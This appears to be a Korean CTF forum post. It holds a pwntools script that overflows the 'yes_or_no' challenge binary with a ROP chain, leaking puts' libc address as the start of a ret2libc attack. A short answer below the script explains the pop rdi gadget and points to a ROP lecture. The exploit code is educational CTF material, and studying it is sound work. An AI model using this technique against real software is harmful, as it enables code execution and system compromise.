from pwn import *
r = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binshadd = next(libc.search(b'/bin/sh'))
rdi_ret = 0x0000000000400883
ret = 0x000000000040056e
payload = b"A"*0x12 +b"A"*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
print(r.recvuntil("That's cool. Follow me\n"))
r.sendline(payload)
puts_add = r.recv(6)
위에서 payload에 넣는 것중에 rdi_ret은 왜 넣는 건가요?
해당 rdi_ret 가젯을 통해 puts@got의 주소를 rdi 레지스터에 넣고 puts@plt로 puts 함수를 실행하여 puts 함수의 실제 주소를 유출하기 위함으로 보입니다.
https://dreamhack.io/lecture/courses/84 강의를 통해 ROP 공격에 대해 공부하시면 해당 부분을 더 쉽게 이해하실 수 있을 겁니다.